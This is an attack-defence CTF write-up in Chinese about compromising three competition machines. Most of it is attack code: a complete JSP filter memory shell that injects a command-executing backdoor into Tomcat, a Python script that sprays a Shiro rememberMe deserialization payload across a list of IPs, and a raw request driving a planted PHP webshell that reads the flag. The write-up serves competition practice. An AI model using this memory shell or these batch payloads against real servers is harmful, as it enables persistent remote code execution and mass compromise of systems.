首发先知社区
链接:https://xz.aliyun.com/t/14350
前言
整体来说题目思路并不难,一共三个环境:
- thinkphp框架
- java环境,命令执行
- springboot项目,shiro反序列化(固定秘钥)
当时比赛前一天感觉所有人的靶机都是相同密码:ctf/ctf(应该是),然后还提前准备了一个改密码的脚本。但是就很意外,比赛当天靶机二和三给的是强密码,就没管了,但是谁能想到虽然是强密码但是所有人的都一样。然后靶机二和三的密码被别人改了。重置环境耽误了一个小时,然后重置环境后开干,一路打到第三,最后貌似掉第四了!
靶机二
环境搭建
公众号:安服仔Yu9
后台发送GW获取!
解题思路
使用yakit扫描端口,发现8080端口部署web服务
访问跳转到登录页面login.jsp
,是java站
ssh登录靶机拖源码,拉进idea分析
发现在forget.jsp
文件下很明显的一处命令执行且带回显
该漏洞点极为明显,十分容易修复。思路就是传个打个内容马,然后批量拿。
filter.jsp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import = "org.apache.catalina.Context" %> <%@ page import = "org.apache.catalina.core.ApplicationContext" %> <%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import = "org.apache.catalina.core.StandardContext" %> <!-- tomcat 8/9 --> <%@ page import = "org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import = "org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import = "javax.servlet.*" %> <%@ page import = "java.io.IOException" %> <%@ page import = "java.lang.reflect.Constructor" %> <%@ page import = "java.lang.reflect.Field" %> <%@ page import = "java.util.Map" %>
<% class MalwareFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { } public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd = servletRequest.getParameter("cmd"); if (cmd!= null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); }
@Override public void destroy() {} } %>
<%
ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
String name = "MalwareFilter";
if (filterConfigs.get(name) == null){ MalwareFilter filter = new MalwareFilter(); FilterDef filterDef = new FilterDef(); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/filter"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name,filterConfig); out.write("Inject MalwareFilter Success!"); } else{ out.write("MalwareFilter Injected!"); } %>
|
靶机三
环境搭建
公众号:安服仔Yu9
后台发送GW获取!
解题思路
先端口扫描,发现8081存在web服务 -> 直接登录靶机拖源码!
发现是个jar包
直接解压,idea打开开始分析
当时首先是看了一下依赖包,然后发现存在shiro依赖
并且cc和cb依赖也都有
在shiro的配置文件中发现了固定秘钥
猜测所有队伍环境相同使用同一秘钥,直接上工具验证
使用Wireshark抓包ip.addr == 127.0.0.1 and tcp.port == 8080
,然后编写批量脚本(以whoami命令为例)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import requests import base64
headers = { "Cookie": "rememberMe=gErAEJIegvpy+nXReyUdW6f+hyA5SdbS8yEvBmFpHuQnSoGfZcsyjsPmxJNFPwlFdVdRNIBeSAODaJ8BuW4/RdU3VduXr+OdfHPyQoq3HfLITbVU0xjoAJNsjNqbBAlgqNSZgoTJgwsy+bbddHEoEZ0bbdqzRNvn+fazVoggu0XXHAYmIZZa6qrAvq123xh9FtjQ4AMR7m7OuzDKgt7FRcqY2v8t3IlApUynR2jbx1IlAnzW4gml+vI2aQNwwP6PB2oJv8cOdHm1kKsby8lQxni5XF+uUz1ORyJy386qggkvixARSjSr56tpR0zARfskEKBPK323Vv0R2l/sWjsC12TwSemwdWOAFBw3V6gkBcVlhRlQNvXps/S2GldhISyzhiILLY/Duxj97zlVIElDZSpK9/cJvgJ+PhYW6kYGQqYPXBvSqAdMTfgLU4ez44RznGYkEjnKR02k16EbQ54UvWmuzG9Rc3gTF6Z2OVYUEQ/urAZ1ybqkBLO317KrA2UkPeU1mSfzIV33XC8KuioYqRJVi1KUk9UnZFgtgcPG8A4+YSu0S+KKxhOpfV7CpGt/XmCcel1b7uNyWWONuIodtGkKpEDtQiAhlxktJl4yO91vdtBckd48OiP53eSRi0BcCSj6EPGcUQbtWVydHJ53xjB3TqIQAwRPkxbuTgc2rZaXUZiN3x4t5mpe+6WtgUFv9R8yCI3FMnAvuisAWkLkNKr6OzpdK/wkd+RqrAaSOWy+2vBRaawlpZ5j7S3KE9ETDbKd8gwCfcIeVaS5tJ3xciyFccJIpY2rhG1oHCLHVscDEIDHjovvMi9P9TBWzVwoGc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QQa1m1AIF2fsh7cBwjecHPIOTxg7HHV3PbV4Q+aWK9DTHAynrO2j9XAeBG29X96CJAh3lht5BirFKc3fb5uOXhVUXvhQsEQx+JGhq9Egq2QUDKjEEPNcNfxivgg8kUcrqKkdQsZVAsjoupk/zIBwMri40+zGYS/oHMrRKDbmzf60ZYNX2VLnZzaLoEXR7uGqXjq3hGDTIgZXSBLs0YDUEcABOk", "Authorization": "Basic d2hvYW1p", "Accept": "text/html,application/json,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Hutool", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.8", "Host": "127.0.0.1:8080", "Connection": "keep-alive" }
with open('urls.txt', 'r') as file: urls = file.readlines()
for ip in urls: ip = ip.strip() url="http://"+ip try: response = requests.get(url, headers=headers) if response.status_code == 200: result=base64.b64decode(response.text.strip("$$$")).decode('utf-8') print(f"攻击成功,ip:{ip} flag:{result}") else: print(f"攻击失败,ip:{ip} 状态码:{response.status_code}") except requests.exceptions.RequestException as e: print("请求发生异常:", e)
|
靶机一
环境搭建
公众号:安服仔Yu9
后台发送GW获取!
解题思路
靶机一是一个thinkphp框架的后台管理系统。由于不太熟悉thinkphp框架,所以没出,后边在waf上看到了别人上的马,直接搭顺风车
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST //storage//uploads/120240421//.index1.php HTTP/1.1 Host: 192.168.103.126:8080 Content-length: 47 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests:1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.3(KHTML, like Gecko)Chrome/123.0.0.0 Safari/537.36 Origin: http://192.168.103.42:8080 Content-Type: application/x-www-form-urlencoded Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,imae/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://192.168.103.42:8080/Accept-Language:zh-CN,zh;g=0.9 Accept-Encoding: identity Connection: close
pass=fengfeng123&cmd=echo+%60cat+%2Fflag*%60%3B
|
这哥系统应该是个FunAdmin6.X版本,在网上看到一个0day,师傅们可以参考一下
https://mp.weixin.qq.com/s/zR_7MEhWYrQU4gHKpUrZWw
补充
后边一个朋友赛后对环境一做的代码审计
https://mp.weixin.qq.com/s/gcPV2rUTxedJAOB1WIIbGA